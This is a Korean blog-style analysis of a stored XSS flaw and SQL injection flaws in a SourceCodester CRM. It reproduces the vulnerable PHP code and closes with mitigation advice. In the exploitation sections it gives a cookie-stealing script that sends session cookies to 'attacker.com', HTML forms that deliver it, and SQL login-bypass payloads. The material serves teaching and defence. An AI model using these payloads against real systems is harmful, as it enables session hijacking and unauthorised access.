
# SourceCodester CRM의 CVE-2023-24203(저장형 XSS) 및 CVE-2023-24204(SQL 삽입) 교육적 분석, 공격 단계 및 완화 전략 포함.
끊임없이 진화하는 사이버 보안 환경에서 웹 애플리케이션은 취약점을 악용하려는 공격자의 주요 표적이 되고 있습니다. 최근 SourceCodester Simple Customer Relationship Management (CRM) System v1.0에서 CVE-2023-24203 및 CVE-2023-24204라는 두 가지 심각한 취약점이 발견되었습니다. XSS(Cross-Site Scripting)와 SQL 인젝션(SQL Injection)과 관련된 이 취약점들은 임의 코드 실행 및 무단 접근을 포함한 심각한 위험을 초래합니다. 개발자와 보안 전문가가 잠재적 위협으로부터 시스템을 보호하려면 이러한 취약점과 그 영향을 이해하는 것이 필수적입니다.
XSS(Cross-Site Scripting)는 웹 애플리케이션이 사용자가 다른 사용자가 보는 웹 페이지에 악성 스크립트를 주입할 수 있도록 허용할 때 발생하는 취약점 유형입니다. 이로 인해 사용자를 대신한 무단 작업, 데이터 탈취 및 추가 악용이 발생할 수 있습니다. XSS 취약점은 다음과 같은 세 가지 주요 유형으로 분류할 수 있습니다:
SQL 인젝션(SQL Injection)은 공격자가 쿼리에 임의의 SQL 코드를 주입하여 SQL 쿼리를 조작할 수 있을 때 발생하는 취약점 유형입니다. 이로 인해 무단 접근, 데이터 탈취 및 기타 악성 활동이 발생할 수 있습니다. SQL 인젝션은 일반적으로 불충분한 입력 검증과 파라미터화된 쿼리 부재로 인해 발생합니다. SQL 인젝션의 주요 영향은 다음과 같습니다:
이 블로그 게시물에서는 CVE-2023-24203 및 CVE-2023-24204에 대해 자세히 살펴보고, 이러한 취약점의 세부 사항, 공격 벡터, 영향 및 완화 전략을 탐구합니다. 이러한 취약점을 깊이 이해하는 것은 잠재적 악용으로부터 애플리케이션과 데이터를 보호하는 데 중요합니다.
SQL 인젝션 취약점은 종종 부적절한 입력 검증과 잘못된 코딩 관행의 결과로 발생합니다. 일반적인 원인은 다음과 같습니다:
XSS(Cross-Site Scripting) 취약점은 일반적으로 사용자 입력과 출력을 제대로 처리하지 못해 발생합니다. 일반적인 원인은 다음과 같습니다:
CVE-2023-24203은 SourceCodester Simple Customer Relationship Management (CRM) System v1.0의 get-quote.php 구성 요소에서 발견된 저장형 XSS(Stored Cross-Site Scripting) 취약점입니다. 이 취약점을 통해 공격자는 company 및 query 매개변수에 악성 스크립트를 주입할 수 있으며, 이 스크립트는 데이터베이스에 저장된 후 관리자가 조회할 때 실행되어 임의 코드 실행으로 이어집니다.
취약점은 견적 요청 양식의 사용자 입력을 처리하는 get-quote.php 스크립트에 있습니다. PHP 소스 코드는 아래와 같습니다:
<?php
session_start();
include("dbconnection.php");
include("checklogin.php");
check_login();
error_reporting(0);
if(isset($_POST['submit']))
{
$name=$_POST['name'];
$email=$_POST['email'];
$contact=$_POST['contact'];
$company=$_POST['company'];
$services=addslashes(mysqli_real_escape_string($con, json_encode($_POST['services'])));
$other=$_POST['other'];
$query=$_POST['query'];
$pd=date('Y-m-d');
mysqli_query($con,"insert into prequest(name,email,contactno,company,services,others,query,posting_date) values('$name','$email','$contact','$company','$services','$other','$query','$pd')");
echo "<script>alert('Query received. We will contact you soon.');</script>";
echo "<script>window.location.href='get-quote.php'</script>";
}
?>
이 스크립트는 양식에서 사용자 입력(이름, 이메일, 연락처, 회사, 서비스, 기타, 문의)을 받아 데이터베이스에 저장하기 위해 SQL 쿼리에 직접 포함시킵니다. services 입력은 mysqli_real_escape_string과 addslashes를 사용하여 살균되지만, company 및 query 매개변수는 응답에 다시 출력될 때 제대로 살균되거나 인코딩되지 않습니다. 이러한 살균 및 인코딩 부족으로 인해 데이터베이스에 악성 스크립트를 주입하고 저장할 수 있습니다.
이 취약점을 악용하려면 공격자가 company 또는 query 매개변수에 악성 JavaScript 코드가 포함된 페이로드를 구성할 수 있습니다. 관리자가 견적 요청을 조회하면 주입된 스크립트가 관리자의 브라우저에서 실행됩니다.
query 매개변수에 다음 페이로드를 제출하면:
<script>alert('XSS');</script>
공격자는 관리자가 견적 요청을 조회할 때 XSS 공격을 트리거할 수 있습니다.
관리자의 세션 쿠키를 탈취하기 위한 더 위험한 페이로드를 구성할 수 있습니다. query 매개변수에 다음 페이로드를 사용하면:
<script>document.location='http://attacker.com/steal-cookie?cookie='+document.cookie;</script>
공격자는 관리자의 쿠키를 공격자가 제어하는 원격 서버로 전송할 수 있습니다.
악성 견적 요청 제출: 공격자가 견적 요청 양식을 작성하여 company 또는 query 필드에 악성 페이로드를 주입합니다.
<form method="post" action="get-quote.php">
<input type="text" name="company" value="CompanyX"><br>
<input type="text" name="query" value="<script>document.location='http://attacker.com/steal-cookie?cookie='+document.cookie;</script>"><br>
<input type="submit" name="submit" value="Submit">
</form>
관리자 요청 조회: 관리자가 CRM 시스템에 로그인하여 제출된 견적을 조회하면 악성 스크립트가 관리자의 브라우저에서 실행되어 세션 쿠키를 공격자의 서버로 전송합니다.
이 저장형 XSS 취약점을 성공적으로 악용하면 공격자가 관리자 브라우저의 컨텍스트에서 임의의 JavaScript를 실행할 수 있습니다. 이로 인해 다음과 같은 다양한 악성 작업이 발생할 수 있습니다:
세션 쿠키 탈취 사용자 세션 하이재킹 관리자를 대신한 무단 작업 수행 관리자를 악성 웹사이트로 리디렉션
이 취약점을 완화하려면 웹 페이지에 포함하기 전에 모든 사용자 입력을 살균하고 인코딩하는 것이 필수적입니다. 구체적으로:
입력 살균: htmlspecialchars()와 같은 함수를 사용하여 사용자 입력의 특수 문자를 인코딩합니다. 입력 검증: 예상된 데이터만 허용되도록 엄격한 입력 검증을 구현합니다. CSP(Content Security Policy): CSP 헤더를 사용하여 스크립트를 로드하고 실행할 수 있는 소스를 제한합니다.
CVE-2023-24204는 SourceCodester Simple Customer Relationship Management (CRM) System v1.0의 get-quote.php 및 login.php 구성 요소에서 발견된 SQL 인젝션 취약점입니다. 이 취약점을 통해 공격자는 데이터베이스에 임의의 SQL 명령을 주입할 수 있으며, 이는 무단 접근 및 데이터 조작으로 이어질 수 있습니다.
SQL 인젝션 취약점은 get-quote.php와 admin/login.php 스크립트 모두에 존재합니다. 아래는 이러한 취약점이 어떻게 발생하고 악용될 수 있는지에 대한 분석입니다.
get-quote.php 스크립트는 견적 요청 양식의 사용자 입력을 처리합니다. 소스 코드는 아래와 같습니다:
<?php
session_start();
include("dbconnection.php");
include("checklogin.php");
check_login();
error_reporting(0);
if(isset($_POST['submit']))
{
$name=$_POST['name'];
$email=$_POST['email'];
$contact=$_POST['contact'];
$company=$_POST['company'];
$services=addslashes(mysqli_real_escape_string($con, json_encode($_POST['services'])));
$other=$_POST['other'];
$query=$_POST['query'];
$pd=date('Y-m-d');
mysqli_query($con,"insert into prequest(name,email,contactno,company,services,others,query,posting_date) values('$name','$email','$contact','$company','$services','$other','$query','$pd')");
echo "<script>alert('Query received. We will contact you soon.');</script>";
echo "<script>window.location.href='get-quote.php'</script>";
}
?>
또한 login.php 소스 코드 로직도 살펴보겠습니다.
<?php
session_start();
error_reporting(0);
include("dbconnection.php");
if(isset($_POST['login']))
{
$ret=mysqli_query($con,"SELECT * FROM user WHERE email='".$_POST['email']."' and password='".$_POST['password']."'");
$num=mysqli_fetch_array($ret);
if($num>0)
{
$_SESSION['login']=$_POST['email'];
$_SESSION['id']=$num['id'];
$_SESSION['name']=$num['name'];
$val3 =date("Y/m/d");
date_default_timezone_set("Asia/Calcutta");
$time=date("h:i:sa");
$tim = $time;
$ip_address=$_SERVER['REMOTE_ADDR'];
$geopluginURL='http://www.geoplugin.net/php.gp?ip='.$ip_address;
$addrDetailsArr = unserialize(file_get_contents($geopluginURL));
$city = $addrDetailsArr['geoplugin_city'];
$country = $addrDetailsArr['geoplugin_countryName'];
ob_start();
system('ipconfig /all');
$mycom=ob_get_contents();
ob_clean();
$findme = "Physical";
$pmac = strpos($mycom, $findme);
$mac=substr($mycom,($pmac+36),17);
$ret=mysqli_query($con,"insert into usercheck(logindate,logintime,user_id,username,email,ip,mac,city,country)values('".$val3."','".$tim."','".$_SESSION['id']."','".$_SESSION['name']."','".$_SESSION['login']."','$ip_address','$mac','$city','$country')");
$extra="dashboard.php";
echo "<script>window.location.href='".$extra."'</script>";
exit();
}
else
{
$_SESSION['action1']="Invalid username or password";
$extra="login.php";
echo "<script>window.location.href='".$extra."'</script>";
exit();
}
}
?>
get-quote.php 스크립트는 name 매개변수를 적절히 살균하지 않습니다. 공격자는 Burp Suite와 같은 도구를 사용하여 요청을 가로채고 name 매개변수를 수정하여 악성 SQL 명령을 주입할 수 있습니다.
login.php 스크립트는 email 및 password 필드에 대한 적절한 입력 검증이 없어 인증 우회에 취약합니다. 공격자는 hack' or 1=1;#와 같은 페이로드를 사용하여 인증을 우회하고 접근 권한을 얻을 수 있습니다.
' OR '1'='1';--
수정된 요청 제출: 수정된 요청을 서버로 전송합니다. 주입된 SQL 명령이 데이터베이스에서 실행됩니다.
login.php 악용
로그인 페이지로 이동: login.php 페이지로 이동합니다.
악성 페이로드 입력: email 필드에 hack' or 1=1;#와 같은 페이로드를 사용하고 password 필드에는 임의의 문자열을 입력합니다.
<form method="post" action="login.php">
<input type="text" name="email" value="hack' or 1=1;#"><br>
<input type="password" name="password" value="password"><br>
<input type="submit" name="login" value="Login">
</form>
이러한 SQL 인젝션 취약점을 성공적으로 악용하면 다음과 같은 다양한 악성 작업이 발생할 수 있습니다:
무단 접근: 공격자는 시스템에 대한 관리자 접근 권한을 얻을 수 있습니다. 데이터 탈취: 공격자는 데이터베이스에서 민감한 정보를 유출할 수 있습니다. 데이터 조작: 공격자는 데이터베이스 내의 데이터를 변경, 삽입 또는 삭제할 수 있습니다. 완화 이러한 취약점을 완화하려면 적절한 입력 검증을 구현하고 파라미터화된 쿼리를 사용하는 것이 필수적입니다. 구체적으로:
Prepared Statement 사용: SQL 인젝션을 방지하기 위해 파라미터화된 쿼리를 구현합니다. 입력 검증: 예상된 데이터만 허용되도록 엄격한 입력 검증을 적용합니다. 입력 이스케이프: SQL 쿼리에서 사용하기 전에 모든 사용자 입력을 적절히 이스케이프합니다. 이러한 모범 사례를 따르면 SQL 인젝션 공격의 위험을 크게 줄이고 잠재적 악용으로부터 웹 애플리케이션을 보호할 수 있습니다.